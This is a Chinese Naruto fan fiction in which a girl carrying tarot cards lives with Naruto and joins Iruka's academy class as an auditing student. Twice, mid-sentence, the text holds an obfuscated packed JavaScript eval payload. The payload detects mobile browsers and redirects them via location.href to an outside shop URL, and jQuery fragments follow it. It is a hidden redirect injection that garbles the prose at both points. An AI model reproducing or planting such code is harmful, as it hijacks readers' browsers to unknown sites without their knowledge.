《『火影』恭喜你,找到我了》 2. 鸣人线『命运之轮』 自从来到这个陌生的世界,转眼已过去数日。鸣人对我,自然不可能从一开始就完全信任——一个突然出现的陌生人,还立刻对他表示认可,任谁都会心生疑虑吧?当时我衣衫褴褛,满面尘灰,大概让他误以为我和他一样,是个无父无母、孤苦伶仃的孩子…… 最初的几天,鸣人的防备心显而易见。像个缺乏安全感的孩子,他用近乎恶作剧的方式,笨拙地试探着我的“真心”。我至今还记得那个画面:他把一碗泡得几乎糊烂的泡面推到我面前,努力装出骄傲的样子:“喏,这可是我费了好大劲做的!” (其实连调味包都没给我加,并且泡面已经泡的叉子插不上来了) 我默默接过来吃了。面条寡淡无味,但泡面本身又能难吃到哪里去呢?只是对鸣人而言,没有调味料的泡面,大概就像他长久以来的生活一样,尝不出什么滋味吧……和他一样…… 他有时会故意在我面前摔倒蹭破皮,有时会突然闹点小脾气。这些举动在我眼中,却再正常不过了。那是一个长期独居、被孤独浸透的孩子,在反复确认一份突如其来的“认可”是否真实可靠。他甚至本能地觉得,被陌生人这样轻易接纳,本身就很“不对劲”。看到他保有这份警觉,我反而感到一丝欣慰。不过,孩子的信任壁垒瓦解得也快,几天下来,那份生疏便淡去了许多。 无论如何,我算是顺利地在鸣人那个小小的公寓里安顿了下来。 一切都和记忆中(动漫里)的景象重叠:鸣人日复一日地吃着泡面,喝着临近保质期的牛奶。我几次想悄悄把那快过期的牛奶扔掉,他却总能眼疾手快地一把抢回去,宝贝似的护在怀里,嘴里嚷嚷着:“这可是能让我快点长高长大的秘诀!” 唉…… 每天只靠这些,营养真的够吗?事实就摆在眼前——才十一二岁的孩子,身形瘦小得过分,显然是长期营养不良的结果。鸣人不会做饭,也没有多余的钱去享受像样的食物,只能囤积些易保存的廉价泡面,偶尔“奢侈”地多买几盒牛奶。或许,他连牛奶保质期很短这件事,都懵懵懂懂吧。 “我吃饱啦!” 鸣人放下手中空荡荡的泡面碗,心满意足地呼出一口气,碗底连最后一点汤水都喝得干干净净。他是真的饿极了,正是长身体的时候啊。 “一会儿有什么打算吗?” 我搅动着碗里所剩不多的面条,动作忽然顿了顿,担心自己吃得不够“干净”会被他误解为嫌弃。我赶紧叉起面条送入口中——和最初那碗不同,这次的泡面,终于有了调味料的滋味…… “唔……” 鸣人挠了挠脸颊,努力思考着 “要去忍者学校!学习……练习忍术!早点当上忍者,就能更快当上火影啦!”他的眼睛亮晶晶的,充满了憧憬。 “好。” 我轻声应道。 “话说回来,” 鸣人像是忽然想起了什么,转头好奇地看着我 “我从来没见过你去学校上课呢。” 他歪着脑袋,片刻后,猛地一拍大腿,像是下了重大决心 “决定了!你跟我一起去吧!总闷在家里多没意思!还能跟我一起学忍术!等我当上火影那天,你可得做我最得力的助手!” 他语速飞快,像连珠炮一样,根本不给我插话的机会。 我其实有些走神,心里盘旋着一个疑问:我能学会忍术吗?穿越这种事本身就已经够离奇了,但查克拉……这种东西,对我这个异乡人真的可行吗?印象里,它似乎有点像……另一部作品中的『波纹呼吸』?虽然本质不同,但大概……勉强能类比? “糟了糟了!好像要迟到了——!” 鸣人突然惊叫起来,一把抓起桌上那盒牛奶咕咚灌完,像一阵小旋风似的套上他那件橙色的外套,不由分说地拽起我的手腕就往外冲。他完全没在意我碗里剩下的面条,也忘了收拾杯盘狼藉的桌子,更没问我是否愿意去。我就这样被他风风火火地拉着,一头扎进了木叶清晨的阳光里。 清晨的木叶街道已然苏醒,空气中弥漫着炊烟、泥土和青草的气息。店铺陆续开张,行人匆匆。鸣人拉着我在人群中穿梭,他那耀眼的金发和标志性的橙色外套,像一面小小的旗帜,总能吸引不少目光。只是那些目光……并不总是友善的。我能清晰地感受到一些成年村民投来的冷漠、警惕,甚至是毫不掩饰的嫌恶。当他们的视线扫过我——这个被鸣人紧紧拉着、同样穿着不合体衣服的陌生人时,那份审视和疑虑就更深了,仿佛在无声地质问:谁家的小孩,居然敢和鸣人混在一起了? 鸣人对此似乎早已习惯,或者说,他选择用更大的嗓门和更快的速度来对抗。他一边跑,一边回头对我咧嘴笑,露出尖尖的小虎牙 “快点快点!迟到的话伊鲁卡老师又要说教啦!他唠叨起来比三代爷爷还厉害!” 他试图用轻松的语气驱散周围的寒意,但我能感觉到,握着我手腕的那只小手,下意识地收紧了些。 忍者学校的大门越来越近,操场上已经传来少年们呼喝训练的声音。就在我们即将冲进去的瞬间,一个高大的身影挡在了门口。 “鸣人!” 来人声音温和却带着不容置疑的威严 “慌慌张张的像什么样子!” 正是伊鲁卡老师。他的目光先是落在气喘吁吁的鸣人身上,带着一丝无奈的笑意,随即转向我,那笑意迅速收敛,转化为一种职业性的、带着探究的审视。他的视线快速扫过我和鸣人同款衣服,只不过已经洗的发白了,落在我空荡荡的腰间——那里没有任何忍具袋的痕迹,最终停留在我的脸上,带着毫不掩饰的探究。 “伊鲁卡老师!早!” 鸣人立刻站直,大声问好,随即献宝似的把我往前一推 “老师你看!这是我新认识的朋友!” 空气有一瞬间的凝滞。伊鲁卡老师的眉头微不可察地蹙起。就在我犹豫着该如何开口时,鸣人猛地一拍脑门,又自作主张地嚷嚷起来 “啊!对了!他……嗯……反正,反正不太方便,总之现在住在我那里!呐呐,老师,让她也来学校旁听好不好?她肯定也想学忍术的!” 鸣人眼神热切,充满了不容拒绝的期待。 伊鲁卡没有立刻回答鸣人。他看着我,眼神锐利得像要穿透什么。 “住你那里?” 他重复了一遍,语气平缓却带着分量 我能感觉到伊鲁卡温和外表下隐含的警惕。作为鸣人的监护人之一,他必须对这个突然出现在鸣人身边、来历不明的“朋友”负责。这份压力比村民的目光更直接,也更沉重。 “我……” 我张了张嘴,却发现喉咙干涩。解释?解释我从另一个世界来?解释我带着一副塔罗牌?这只会让我听起来更可疑。就在我语塞的瞬间,鸣人却突然伸手,毫无预兆地在那件旧外套的内侧口袋里掏了掏——那是我唯一贴身存放、属于我原来世界的东西的地方。他大概是想找出点能证明我“身份”的东西。 “伊鲁卡老师你看,你看!” 鸣人摸到了那叠厚实的卡片,好奇地抽出了一张。阳光正好落在那张牌上,繁复神秘的金色纹路在硬卡纸上流淌,牌面中央是一个巨大的轮盘,上面刻着古老的符号,正在缓缓转动——命运之轮(The Wheel of Fortune)。 伊鲁卡的目光瞬间被那张牌牢牢抓住。他脸上的温和彻底褪去,只剩下纯粹的震惊和凝重。他认得这种风格!这绝不是木叶,甚至不是五大国常见的任何忍具或卷轴样式!那图案中蕴含的古老、神秘,甚至带着一丝宿命意味的气息,让他瞬间联想到了那个早在很久之前灭亡的一族——占卜者。 “鸣人!” 伊鲁卡的声音陡然严厉起来,带着前所未有的紧张 “把那张……东西,还给你的朋友!” 他的目光如鹰隼般锁定在我身上,身体微微绷紧,一只手已经下意识地按在了腰间的忍具包上。他不再关心我的名字,他此刻只想知道:这个带着如此诡异物品、突然出现在鸣人身边的少女,究竟是谁?有什么目的? 就在这紧张气氛一触即发的时刻,操场边缘一棵茂密大树的高处枝桠间,几片树叶极其轻微地晃动了一下,仿佛被无形的气流拂过。一只通体漆黑的乌鸦,静静地隐匿在浓荫深处,猩红的眼珠一瞬不瞬地注视着校门口发生的一切。它微微偏了偏头,似乎要将那张奇特的卡牌和此刻剑拔弩张的场面,更清晰地刻印在脑海中。 伊鲁卡的手还按在忍具包上,指节因为用力泛出浅白。鸣人被他突然严厉的语气吓了一跳,举着卡牌的手僵在半空,蓝色的眼睛里慢慢浮起困惑 “老师?这卡片怎么了?” “鸣人,” 伊鲁卡的声音缓和了些,却仍带着不容置疑的重量 “你先去教室,把昨天教的变身术结印再练十遍。” 他刻意加重了“十遍”两个字,像在给鸣人一个明确的指令,让他暂时离开这个棘手的局面。 “可是老师… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575522|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 鸣人还想争辩,眼角的余光瞥见我捏着衣服的手指在微微发颤,忽然把剩下的话咽了回去。他挠了挠金发,把卡牌还给了我,冲我用力眨了眨眼,用口型比了句“等我”,才转身噔噔噔跑向教学楼。橙色的外套在走廊拐角晃了一下,像团不肯熄灭的小火焰。 校门口只剩下我和伊鲁卡。晨风吹过操场,卷起几片训练时掉落的树叶,远处传来孩子们整齐的结印口诀声。伊鲁卡盯着我手里的卡牌,沉默了很久才开口,声音压得很低 “这是……占卜者的卡牌” 我攥紧卡牌,指尖沁出细汗:“我不知道什么占卜者,这是……我唯一的东西。” 伊鲁卡的目光掠过我洗得发白的外套 “占卜者一族,已经灭族了,他们的后裔都登记在暗部档案里,更不可能有你这样的孩子。” 他顿了顿,眼角的疤痕在阳光下格外清晰 “你住在哪里?父母是谁?” 这些问题像细密的网,瞬间将我罩住。我张了张嘴,却发现任何解释都显得苍白——总不能说我来自一个没有查克拉的世界,其实你们都是动漫角色吧……况且我本身就并不记得太多的事情,感觉来到这里,我的记忆消失了许多。 就在这时,教学楼里忽然传来一阵骚动,伴随着鸣人响亮的喊声:“我才不会输给你!”紧接着是桌椅碰撞的脆响。伊鲁卡的眉头猛地皱起,转身就要过去,却又停住脚步,回头看我的眼神复杂了许多。 “之前……鸣人说又和我说过交到了朋友,你肯吃他泡的无料泡面。” 他忽然说,语气里带着点不易察觉的松动 “那孩子笨得很,总觉得把最珍贵的东西给别人,才算真心。” 我愣住了。原来他都知道。知道鸣人那些笨拙的试探,知道那碗寡淡泡面里藏着的、小心翼翼的善意。 伊鲁卡拉住我的手腕,力道不重却很稳,带着我往教师办公室走 “跟我来。” 他的指尖触到我外套口袋里那叠卡牌的轮廓时,脚步顿了顿,却没再追问。 办公室的窗台上摆着一盆快蔫了的秋海棠,和鸣人公寓里那盒临期牛奶一样,透着股被遗忘的委屈。伊鲁卡从抽屉里翻出一张泛黄的申请表,笔尖在『监护人』一栏悬了悬,忽然抬头问:“你想留在木叶?” “我想守护……那个笨蛋” 这句话说出口时,我自己都觉得惊讶。明明才认识几天,却好像已经把这个总爱逞强的金发少年当成了必须守护的东西。 伊鲁卡的笔尖落在纸上,发出沙沙的轻响。 “旁听生需要每天提前半小时来打扫教室,放学后要留下来帮我整理档案。” 他把填好的表推给我,上面“姓名”一栏空着 “等你想好了名字,再告诉我。” “不,现在就写吧……” “佚洺……就可以了” 应该庆幸自己,还记得无名氏类似的名字,佚名就很像是一个名字,但其实根本不是,同时也防止伊鲁卡知道佚名的含义,又修改了一下,希望,不会发现…… 窗外的阳光忽然亮了起来,照在表格下方的木叶徽章上。我听见伊鲁卡低声说 “木叶的规矩是保护每一个需要庇护的人,前提是……你不会成为威胁。” 他的目光扫过我手里的卡牌 “占卜者能预知危机,却测不出人心。你要记住,在这里,真心比预言更重要。” 上课铃响的时候,伊鲁卡拉着我走进教室。鸣人正趴在桌子上被罚抄课文,看见我进来,瞬间瞪圆了眼睛,铅笔“啪嗒”掉在地上。全班的目光都聚集过来——黑发黑眸的男孩抬起头,眼神里带着审视;粉发女孩悄悄拽了拽同伴的衣角;后排几个调皮的男生吹了声口哨。 伊鲁卡指了指最后一排得位置 “先坐那里。” 他转身走上讲台,粉笔在黑板上写下『变身术进阶练习』声音洪亮如常,“今天我们来讲……” 我路过时,鸣人偷偷塞给我一颗糖,糖纸在手心硌出小小的纹路。他压低声音,用气音说 “我就知道老师会同意的!以后我们一起当忍者!” 阳光透过窗户落在他毛茸茸的金发上,像撒了把碎金。 口袋里的卡牌忽然微微发烫,是命运之轮抵着心口的位置。或许伊鲁卡说得对,命运的轮盘再神秘,也转不过此刻少年眼里的光。而我知道,从走进这间教室开始,有些命运,已经和记忆里不一样了。 3. 『星星』 我以旁听生的身份留在了学校。 因为不确定我是否具有学习忍术的能力,伊鲁卡老师并没有让我去展示变身术。只不过,鸣人在中途睡了过去,嘴角流出的口水,预示着他睡得实在香甜。 同样的,他的变身术也掌握得不太好。 在其他人都能有样学样地变出来时,鸣人还只能抓住其中的一点特征。不能说毫无关系,但要说一模一样,实在算不上。 其他人似乎早就预料到了,都发出了低低的嘲笑声。鸣人却对这些声音不管不顾,大大咧咧地笑着,挠挠头说 “至少有的地方像嘛!” 但他紧握的拳头,指节微微发白,暴露了他此刻的心情。趁着这个空档,我悄悄扫视了一圈教室。佐助、小樱,还有一些其他戏份不多的角色。我的记忆力没那么好,只觉得眼熟,名字却实在想不起来。 伊鲁卡老师敲了敲黑板,粉笔灰簌簌落在他的忍者服上。 “好了,大家安静。” 他的声音不高,却像温水漫过石子,将那些细碎的嘲笑声稳稳压了下去。 “变身术是基础中的基础。鸣人,你已经慢了。” 他看向还在挠头的金发少年,眼神软了软, “……下次注意细节,比如脸部的轮廓线条。回去吧。” 鸣人立刻挺直腰板,响亮地应了声 “是!” 紧握的拳头悄然松开些许,指节上还留着用力过后的淡淡白痕。 时间过得很快。大部分人都做得很好,也许有点瑕疵,但和鸣人相比,都要好上太多。 轮到佐助时,教室里静得能听见窗外的风声。他几乎没怎么蓄力,结印的手势快得像道残影。再抬头时,原地已站着另一个『伊鲁卡』——连额前那缕调皮的碎发、忍者服袖口磨出的毛边都分毫不差。 “哇……” 小樱的星星眼快要从眼眶里跳出来,脸颊泛着兴奋的红晕,手里的铅笔在笔记本上划出一串歪斜的惊叹号。 佐助解除变身,面无表情地退回原位,仿佛刚才那堪称完美的演示只是随手掸掉了肩上的灰尘。他的目光扫过教室,在鸣人身上不易察觉地顿了半秒,又若无其事地移开,落在窗外的训练场上。 伊鲁卡满意地点点头,正要讲解下一个忍术,眼角的余光瞥见我正对着花名册发呆。那些名字像浸了水的纸团,在记忆里软塌塌地团着——奈良鹿丸、秋道丁次、山中井野……好像是这几个?我对着座位表上的名字一个个比对,试图把『总是在睡觉的黑眼圈男孩』和『抱着薯片袋的小胖墩』对应起来,结果越看越乱,最后索性放弃,笔尖在纸上画了个小小的问号。 伊鲁卡老师忽然叫了我的名字。我猛地抬头,对上了他的视线。 “虽然你是旁听生,但也可以先试着感受一下查克拉的流动,不要发呆。” 我愣了愣,下意识地看向鸣人。他不知什么时候又趴在了桌上,这次没流口水,眉头却微微皱着,像是在做梦,梦里还在跟变身术较劲一般。 我正看得入神,忽然听见“噗通”一声闷响!鸣人不知怎的从桌上滑了下去,屁股墩儿结结实实地砸在地板上。他迷迷糊糊地抬起头,金发乱糟糟地翘着,看见全班人都在看他,先是一愣,随即用拳头用力揉了揉眼睛,咧嘴笑道 “啊哈哈,地板太舒服了,不小心就……” 嘲笑声又响了起来,比刚才更甚。他却像没听见似的,手撑着桌子想爬起来,膝盖却在桌腿上“咚”地磕了一下。 就在这时,我口袋里的「星星」牌忽然热了一下。不是灼人的烫,而是像握着一杯温茶的暖意。我低头看了眼卡牌露出的边角,再抬头时,正好捕捉到鸣人爬起来的瞬间,偷偷往佐助的方向瞥了一眼——那眼神里没有平时的咋咋呼呼,只有一闪而过的、连他自己都没察觉到的羡慕…… “吊车尾。” 佐助的声音很轻,像怕被人听见似的,我却清晰地捕捉到了那声嘲讽。 伊鲁卡无奈地摇摇头,拿起黑板擦 “好了,接下来我要讲理论东西了。鸣人,这次不准再睡着了。” 我看着鸣人重新站直,又开始大大咧咧地跟身边的同学说笑。他的手指却悄悄把刚才掉在地上的橡皮捡起来,塞进了课桌抽屉里。那块橡皮的边角已经被啃得坑坑洼洼——他似乎紧张时,会下意识地咬它。 口袋里的「星星」牌慢慢凉了下去。我忽然觉得,这些在记忆里模糊的名字和面孔,正顺着某种无形的波动(是查克拉吗?),一点点变得清晰、温热起来。他们不再是书页上遥远的文字,而是会笑、会恼、会在摔倒时悄悄红了耳根、活生生的少年。 鸣人似乎感觉到了什么,突然回头冲我咧嘴一笑,露出两颗尖尖的小虎牙 “等下休息时来看我的变身术吧,这次肯定没问题!” “咳咳,好了,继续上课!下面的内容是查克拉的提炼与基础控制理论。” 伊鲁卡老师的声音将我的思绪拉回。 他在讲台上讲解着查克拉的本质——精神能量与身体能量的完美融合。这些知识对我而言既熟悉又陌生。熟悉的是那些概念性的描述,像我曾知晓的『波纹呼吸』;陌生的,是那玄之又玄的“能量”本身。我努力集中精神,试图捕捉伊鲁卡话语中的每一个细节。 “查克拉是流动的生命力,存在于每一个细胞之中……” 伊鲁卡老师的声音沉稳有力 “感知它,引导它,是成为忍者的第一步。” 我下意识地闭上眼睛,模仿着记忆中人物打坐的样子,尝试放空思绪,将意念沉入身体内部。黑暗的视野中,什么也没有。没有暖流,没有光点,没有所谓的『能量』在奔涌。只有一片沉寂的、属于我原本世界的平凡躯壳的感知。一种隐隐的失落感开始蔓延——果然,不行吗?我这个异乡人,终究无法触及这个世界的核心力量? 就在这时,一种极其微弱、极其古怪的“触感”出现了。不是来自身体内部,而是来自……我贴身口袋里的那副塔罗牌!它们像被极其微弱的电流激活了,又像是沉睡的古老机械被注入了第一滴润滑油,开始极其缓慢地、几乎无法察觉地……『转动』。 不是物理上的转动,而是一种概念上的、存在于意识层面的微妙『位移』。仿佛牌与牌之间无形的联系被轻轻拨动了一下,发出只有我灵魂能感知到的、细不可闻的“嗡”鸣。这感觉一闪而逝,快得像幻觉。 我猛地睁开眼,心脏在胸腔里不规律地跳动着。刚才那是什么?是错觉?还是……因为我尝试感知查克拉,引发了塔罗牌的某种共鸣?它们在这个世界,并非死物?我下意识地隔着粗糙的布料按了按口袋,硬卡纸的棱角带来真实的触感。它们安静地躺着,仿佛刚才的异动从未发生。 “喂喂,来看来看……” 鸣人压低的、带着点得意又有点心虚的声音在耳边响起,打断了我的惊疑。他根本没在听课,正用课本挡着脸,凑过来小声炫耀 “看我的!最新发明的『超级无敌鸣人手里剑』!” 他不知从哪里摸出一块用旧橡皮和掰断的铅笔头歪歪扭扭粘起来的“武器”,小心翼翼地用口水沾湿一小片纸,试图把它卷上去加固,结果纸片立刻软塌塌地糊在了橡皮上,惨不忍睹。 手忙脚乱地试图挽救他的“杰作”,小脸憋得通红。看着他笨拙又无比认真的样子,刚才因查克拉感知失败和塔罗牌异动带来的紧绷感,竟奇异地消散了一些。这孩子,在用自己笨拙的方式,表达着傻气的分享…… 如果没有被老师发现的话…… “鸣人!” 伊鲁卡老师发出震怒的声音,手掌重重拍在讲台上,眼神不善地锁定了他 “别再搞小动作了!再让我发现一次,就给我出去站着!” 突如其来的喝斥吓得鸣人一哆嗦。他挠挠头,不好意思地嘿嘿笑了两声,迅速把那团可怜的『手里剑』狠狠攥在手心,捏成了一团无法辨认的废品。课堂上又响起此起彼伏的窃笑,那些细碎的、带着恶意的低语,像看不见的小虫子,钻进我的耳朵……也钻进鸣人的耳朵。 他猛地低下头,金色的发梢垂下来,遮住了眼睛,但紧抿的嘴角和微微颤抖的肩膀,出卖了他极力压抑的情绪。 ……毕竟是在上课,总归是不太好的。 教室里的空气仿佛凝固了,变得粘稠而沉重。理论课仍在继续,伊鲁卡的声音重新响起,但内容仿佛隔着一层厚厚的毛玻璃,模糊不清。我坐在鸣人旁边,清晰地感受到他身上散发出的那股浓烈的委屈和无处宣泄的孤独。他像一座压抑着的小火山,愤怒和悲伤在内部奔涌,却被无形的牢笼死死困住,只能灼烧自己。 我悄悄伸出手,在课桌的掩护下,指尖轻轻碰了碰鸣人紧握的拳头。他的拳头猛地一颤,像被电流击中,却没有立刻甩开。那拳头攥得死紧,冰凉,带着细微却无法抑制的颤抖。我什么也没说,只是用指尖很轻、很轻地在他紧绷的手背上点了两下,像是一种笨拙的、无声的密码——“我在。” 鸣人的身体似乎僵了一下。过了几秒,他那紧握到指节发白的手,才极其缓慢地、带着点迟疑地……松开了些许。他没有看我,依旧低着头,但肩膀那剧烈的颤抖,却奇异地平复了一些。 就在这时,我眼角的余光似乎捕捉到教室窗外,对面教学楼屋顶的阴影边缘,有一抹极其短暂的、不自然的黑色掠影,快得如同错觉,稍纵即逝。是那只乌鸦吗?它在监视着教室里的冲突?还是仅仅在确认我这个“特殊存在”的位置? 算了,没什么可在意的。 下课铃如同挣脱束缚的鸟儿,尖锐地划破了教室的沉闷。几乎在铃声落下的瞬间,压抑了一整节课的喧闹便轰然炸开。桌椅碰撞,少年们嬉笑打闹着涌向门外,空气里瞬间充满了活力。 鸣人几乎是弹跳起来的,脸上哪里还有半分课上的低落?他眼睛亮得惊人,一把抓住我的胳膊,力气大得惊人 “快!快!去训练场!看我的变身术!这次绝对让你大吃一惊!” 他拖着我,像一阵金色的旋风,迫不及待地卷向教室外那片开阔的空地。 训练场的边缘还残留着午后的阳光,暖洋洋地铺在地上。鸣人把我按在一截低矮的树桩上坐下,自己则迅速退到空地中央,深吸一口气,摆出一个自认为无比帅气的起手式。 “看好了!变身术!” 他用力甩甩头,集中精神。他双手开始结印,动作依旧有些生涩,但比课堂上认真了许多。 “砰!” 一声不算响亮的烟雾炸开。 烟雾散去,原地站着一个……勉强能看出是伊鲁卡老师的“东西”。身高倒是差不多,但脸部的轮廓像是被水泡过的面团,五官模糊地挤在一起,额前那缕标志性的碎发变成了冲天而起的一撮乱毛,忍者服的磨边倒是变出来了,但歪歪扭扭地挂在“手臂”上,像条破布带。 “噗……” 我赶紧捂住嘴,但肩膀还是忍不住抖了一下。 鸣人解除变身,紧张又期待地看向我 “怎么样?是不是比上课时像多了?你看那磨边!我特意记的!” 看着他闪闪发亮的蓝眼睛和努力挺起的小胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575523|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脯,那句“更像一团会动的破抹布”实在说不出口。我努力组织语言 “磨边确实变出来了!轮廓……轮廓也比之前清晰了一点点?就是……脸的部分,好像还是有点……” “脸?” 鸣人挠挠头,一脸困惑 “脸怎么了?伊鲁卡老师不就是有眼睛鼻子嘴巴吗?” “不是形状的问题,” 我试图解释 “是……那种感觉?线条?或者说,是神态?” 我也有些词穷,对于一个靠本能练习忍术的家伙,谈“神韵”似乎太抽象了。 “神态?” 鸣人眉头皱得能夹死苍蝇,他烦躁地抓了抓自己的金发 “好麻烦啊!我再试一次!” 他不服输的劲儿又上来了…… “砰!” 这次烟雾更大些。 结果……更糟了。身高缩水了半截,脸倒是努力想做出伊鲁卡老师温和的表情,却扭曲成一个滑稽的、努力憋笑的鬼脸。衣服上的磨边位置跑到了肩膀上。 “可恶!” 鸣人解除变身,气得原地跳脚,泄愤似的踢飞脚边的一颗小石子。夕阳的金辉落在他倔强的侧脸上,长长的睫毛在眼底投下一小片阴影,那点被努力藏起的挫败感又悄悄溜了出来。 口袋里的「星星」牌,毫无征兆地再次温热起来。这次的感觉比课堂上那次更清晰,不再是模糊的暖意,而是像有一根无形的丝线,从牌面上延伸出来,极其微弱地……指向了鸣人。不,更准确地说,是指向了他刚才变身时,脸部那团模糊不清的混沌区域。 一个念头如同电光火石般闪过——是“焦点”?是凝聚的意念?塔罗牌在提示“集中”? “鸣人!” 我脱口而出。 “嗯?” 他正烦躁地揪着自己的护目镜带子,没好气地应了一声。 “你……你变身的时候,” 我斟酌着用词,努力不显得奇怪 “是不是只想着‘要变成伊鲁卡老师’?或者只想着他的衣服、头发这些具体的东西?” 鸣人愣了一下 “不然呢?不然想什么?” “也许……可以试试更集中一点?” 我指了指自己的眼睛 “不是想着‘变成他’,而是想着他脸上最让你印象深刻的一个点?比如……他笑起来时眼角的皱纹?或者他严肃时微微抿起的嘴角?抓住一个点,死死地盯住它,然后在变身的时候,脑子里就只想着那个点?” 鸣人瞪大了眼睛,像听天书一样看着我。过了好几秒,他才喃喃道 “只想着……一个点?” 他低头看着自己的手,似乎在努力消化这个奇怪的建议。塔罗牌的温热感在缓慢增强,像是在无声地肯定。 “试试?” 我鼓励道,其实自己心里也没底。 鸣人沉默了几秒,猛地抬起头,眼中重新燃起火光。 “好!就一个点!” 他深吸一口气,这次没有立刻结印,而是闭上眼睛,似乎在拼命回忆伊鲁卡老师的样子。几秒钟后,他睁开眼,目光锐利地看向前方虚空中的某一点,仿佛那里正浮现出他锁定的目标。 “砰!” 烟雾散开的速度似乎变慢了。 这一次,站在那里的身影,虽然整体依旧粗糙,但脸部!伊鲁卡老师左眼角那道标志性的、浅浅的鱼尾纹,竟然清晰地浮现了出来!尽管鼻子和嘴巴还是歪的,发型也乱糟糟,但仅仅因为那一道被精准捕捉到的纹路,整个“形象”瞬间就有了“神”,不再是一团模糊的橡皮泥! “成……成功了?!” 鸣人自己都不敢相信,解除变身,冲到我面前,激动得语无伦次 “你看到了吗?那道皱纹!是伊鲁卡老师的皱纹!对吧?对吧!” 他指着自己眼睛旁边,兴奋得手舞足蹈,脸上是纯粹的、毫无阴霾的狂喜,像终于撬开了一道坚硬外壳的缝隙,看到了里面微弱却真实的光。 “嗯!看到了!很清楚!” 我用力点头,也为他感到高兴。口袋里的「星星」牌,温度达到了一个舒适的顶点,然后开始缓缓回落,如同退潮的暖流,留下一种奇异的平静和满足感。 “哈哈哈哈哈!我就知道!我就知道我能行!” 鸣人叉着腰,仰天大笑,金色的头发在夕阳下熠熠生辉,仿佛整个人都在发光。他用力拍着我的肩膀,力气大得让我一个趔趄 “你太厉害了!你的办法真管用!我们再练!我一定要把整张脸都变出来!让伊鲁卡老师看看我的成果!” 他的笑声在空旷的训练场上回荡,充满了活力和希望。然而,就在这充满生机的喧闹背景中,我眼角的余光再次瞥见——对面教学楼的阴影里,那只通体漆黑的乌鸦不知何时悄然停驻在飞檐的角上。它安静地立在那里,小小的头颅微微偏着,血红色的眼睛在暮色中如同两点凝固的、冰冷的炭火,正无声地注视着树下兴奋的金发少年,以及……坐在树桩上的我。那目光里没有温度,只有纯粹的观察,如同在记录实验数据的精密仪器。 夕阳沉得更低了,将鸣人雀跃的身影拉得很长,也将那檐角上的乌鸦影子投射在冰冷的墙壁上,像一道不祥的墨痕。口袋里的塔罗牌已经彻底凉透,刚才那丝温暖的指引仿佛从未存在过。训练场上少年的欢笑与阴影中冰冷的注视,构成了这个世界奇异而割裂的日常一角。查克拉依旧遥远,但鸣人眼中那簇被点燃的、笨拙却明亮的光,似乎比任何能量都更真实地触手可及。 4. 『倒吊人,力量与太阳』 体术课,才是真正的噩梦。 我本身就来自一个和平的年代,一个连体育课都让我喘不过气的年代。一分钟三十八个俯卧撑?那已经是作弊后的极限。八百米?永远吊在车尾。昨天伊鲁卡老师宣布今天要跑二十圈时,恐惧就像冰冷的藤蔓缠住了心脏,几乎让我窒息退缩。可脑海中总有个声音在尖锐地提醒:为什么留在这里?为了什么? 烈日下,鸣人还在笨拙却执着地练习变身术。我死死攥紧拳头,指甲几乎嵌进掌心。那个声音又在低语:守护一个想当火影的笨蛋……模糊的画面闪过脑海——那个护目镜……那个夜晚……那个笨蛋的笑容像月光一样温柔……他的样子,我想不起来,只能记住护目镜样子。 坎坎坷坷地捱到体术课。伊鲁卡老师的声音仿佛隔着厚重的毛玻璃传来,模糊而遥远:“绕场跑二十圈!最后三名加练俯卧撑!”指令清晰,却像冰冷的铁锤砸在我紧绷的神经上。 哨声一响,人群如离弦之箭冲出。我咬紧牙关,把最后一丝希望寄托在摇摇欲坠的身体上——体术是忍者的基石,如果连这都做不到……还有什么资格? 时间一分一秒流逝。身边的身影一圈又一圈掠过,我的脚步越来越沉,距离越拉越大,最终沦为比鸣人更彻底的“吊车尾”。 二十圈。 这个词在脑海中疯狂旋转、膨胀,瞬间抽干了肺里的空气!视野边缘迅速发黑,细密的冷汗浸透额发,心脏在胸腔里狂擂,每一次撞击都带来沉闷的钝痛。双腿早已不是灌铅,而是被无形的锁链捆死,僵硬得无法挪动分毫。胃部剧烈痉挛,酸液灼烧着喉咙。 手指不受控制地颤抖,胸闷、窒息感像冰冷的潮水淹没全身。我分不清是纯粹的疲惫,还是那熟悉的、令人绝望的躯体化信号。无形的压力巨手,轻易碾碎了我本就脆弱的躯壳。冷风钻进喉咙,带着腥甜的铁锈味……极限,到了。 “别发呆啊,要落后了!快跑啊!” 鸣人旋风般掠过,带起的气流刮得脸颊生疼。他的声音充满不解和催促。 动啊!动起来!意识在尖叫,身体却彻底背叛。肺部如同塞满砂纸,每一次吸气都带来撕裂般的剧痛。眩晕如潮水,一波波冲击着摇摇欲坠的意识。训练场扭曲旋转,奔跑的身影化作模糊的光晕。我只能眼睁睁看着,连鹿丸打着哈欠的背影都渐渐消失在视野尽头。 耻辱?不。是存在本身被彻底否定的冰冷。 口袋里的塔罗牌传来粘稠的、令人窒息的滞重感。不是冰冷,不是温暖,是深陷泥潭、动弹不得的绝望。「倒吊人」降临了……它无声地将我的精神钉死在自我怀疑与无能的十字架上,被动承受着这场公开处刑。视野模糊,不是因为汗水,而是屈辱的泪水。喉咙里溢出压抑的、如同濒死小兽般的呜咽。 “旁听生!” 伊鲁卡老师的声音带着明显的担忧,他快步走来 “你脸色很差!需要去医务室吗?” 